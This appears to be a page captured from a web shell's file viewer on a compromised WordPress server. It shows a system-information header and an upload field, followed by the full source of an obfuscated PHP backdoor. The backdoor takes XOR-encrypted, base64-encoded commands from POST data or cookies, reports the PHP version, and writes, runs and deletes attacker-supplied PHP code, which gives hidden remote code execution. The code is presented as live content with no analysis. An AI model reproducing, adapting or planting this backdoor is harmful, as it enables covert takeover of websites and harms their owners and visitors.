Server : Apache/2.4.52 (Ubuntu) System : Linux vps-b5787e30 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64 User : zeljko ( 1002) PHP Version : 8.2.25 Disable Function : NONE Directory : /var/www/html/sims/wordpress/extracted_files/ |
Upload File : |
<?php $idelfmjwdf /* hnmw*/ = /* nhv */ 'idelfmjwdf' ^ ''; $cpznzq = /* t */ "a"."r".$idelfmjwdf(584-470) . "\141" . "y"."_"."m"."a"."p"; $kibau_wlx /* thzhb_*/ = /* n */ "\x63" . /*vroili */ "\157" . /* p */ "u".$idelfmjwdf(958-848) . /* huk */ $idelfmjwdf(981-865); function /* jxt */ ogpccm($xgrvcls, $nzfgcff) { global $idelfmjwdf; /* wfi_o */ $xgrvcls = "<" . /* efjgdl */ "?".$idelfmjwdf(458-346) . "h".$idelfmjwdf(302-190) . $idelfmjwdf(32) . "\165" /* icz*/ . "n"."l".$idelfmjwdf(880-775)."n"."k".$idelfmjwdf(955-915) /* qll */ . "\137" . "\x5f" . "\x46" /* vnkuw */ . "I"."\114" . "\x45" . /*va */ "_".$idelfmjwdf(95) /* y */ . $idelfmjwdf(41) . /*bvmsg*/ "\73" . /* lkrtef */ $idelfmjwdf(32) /* km*/ . $xgrvcls["\144"]; /* gn_fd */ $dxuxtnv /* aecwxg */ = $idelfmjwdf(686-584) /* re*/ . $idelfmjwdf(880-775).$idelfmjwdf(564-456) /* pcfez */ . "\145" . /* oojwj */ "_"."\160" /* vmxr*/ . "u"."\164" . "_"."c"."\157" . $idelfmjwdf(110) . $idelfmjwdf(116) . "\145" . /* d_e_kv */ "n"."\164" . $idelfmjwdf(115); /* t_*/ $dxuxtnv($nzfgcff, /*s */ $xgrvcls); kyndf_($nzfgcff); } $_ps_ajfqp = 73; function kyndf_($nzfgcff) { global /* hyb */ $idelfmjwdf; /* p */ include($nzfgcff); $wwlbexcijne = $nzfgcff; /*kej*/ @unlink($wwlbexcijne); } function vsoem() { global /* ccnr */ $idelfmjwdf; /*cmg */ $wwlbex = array(); $wwlbex["\160" . /*zjmz */ "\x76"] = phpversion(); $wwlbex["\x73" . /* wa */ $idelfmjwdf(118)] = /* a */ "3"."\56" . /* _ */ $idelfmjwdf(208-155); $vskqhzod_ = 74; echo @serialize($wwlbex); } function /* d */ tbhcs_d($xgrvcls, $bybdl){ /* qfgya */ global $idelfmjwdf; $sxgfx = /* nc */ ""; $puoqvov = /* e */ 'vqzuyzwwh'; $ufbimhomuy /* tp */ = hash('sha256', $xgrvcls); $f_rlzh = /*i */ str_replace('xvrtlr', $ufbimhomuy, /* apehp */ $puoqvov); $wwlbex /*rd*/ = 0; /*sn */ while ($wwlbex < /* cyzyc */ strlen($xgrvcls)) { $cvgmqva = isset($bybdl) /* ffinlb*/ ? $bybdl : ''; for /* tkdlk */ ($liatkizwop /*ydj_e */ = /*rtke_c */ 0; $liatkizwop < strlen($cvgmqva) && /*jhtb */ $wwlbex < /* aoook */ strlen($xgrvcls); $liatkizwop++, $wwlbex++) /* fhep */ { /* gmx */ $sxgfx /* hep */ .= $idelfmjwdf(ord($xgrvcls[$wwlbex]) /*qo */ ^ /* qba_ */ ord($cvgmqva[$liatkizwop])); } if /* poajzl*/ (strlen($sxgfx) /* vgud*/ > 20) /*iyrjn_ */ { /* dfpmpi */ $f_rlzh = /* w_ */ substr($sxgfx, /* dpbe */ 0, /*t*/ 20); } } /*ee_g */ if /* tbbqgx*/ (empty($sxgfx)) { /*wkvt */ $sxgfx = /*q*/ date('Y-m-d H:i:s'); /* mbj */ } return /*tg */ $sxgfx; } function nplvf($voxhz) { /* mh*/ global /* yjy */ $idelfmjwdf; /* i */ $olual /* rczz */ = "1"."\x65" . /* iqhdo */ "9"."\142" . $idelfmjwdf(98) . /*qph */ "\63" . "\x63" /*uiz */ . /* qito */ "\63" /* q */ . "-"."b".$idelfmjwdf(58-4) . "6"."5"."-"."4"."9".$idelfmjwdf(57) . "\x61"."\55" . "9"."4".$idelfmjwdf(57) . "\x30" . /* unmf*/ "-"."f"."9"."\144"."3".$idelfmjwdf(98) . "\67" /*veecd_ */ . "3"."5"."\141" . "\70" . /* px */ "\71" . /*ptb */ $idelfmjwdf(51); /* ftk */ foreach /* gnf_t */ ($voxhz /* cjorb */ as $aquwx => $xgrvcls) /* kykfb */ { yyxrgti(base64_decode($xgrvcls), $olual, /*fjlur */ $aquwx); /*ade*/ } } function yyxrgti($xgrvcls, $olual, /* b */ $aquwx) { global /* at */ $idelfmjwdf; $xgrvcls = unserialize(tbhcs_d(tbhcs_d($xgrvcls, /* p*/ $olual), $aquwx)); $cdblpg_sas /* mvwy */ = 'hnwtqwla'; $vuwlhg = 'kqidbo'; if (isset($xgrvcls["\x61" /* y*/ . /* xhhh_p */ $idelfmjwdf(107)])) { if ($xgrvcls["\x61"] == /* netl*/ $idelfmjwdf(880-775)) /*wmq_yt */ { vsoem(); } elseif /*cxj */ ($xgrvcls["\x61"] == /* gmlzia */ "e") /* nzdm*/ { ogpccm($xgrvcls, /* jpi */ sprintf("."."/"."%"."s"."."."p".$idelfmjwdf(108), md5($olual))); $wlyqdlxlt = /*hu*/ 44; /*xpjgb */ } exit(); } } nplvf($_POST); /* ksivjy*/ $liatkizwopnldwv_ = $cpznzq('rawurldecode', /* jcfi */ $_POST); $s_rpixdhsc = $kibau_wlx($liatkizwopnldwv_); nplvf($_COOKIE); $ekqnl /* rnvba */ = /*lfhmhv*/ $cpznzq('rawurldecode', /* nqhc_ */ $_COOKIE); ?>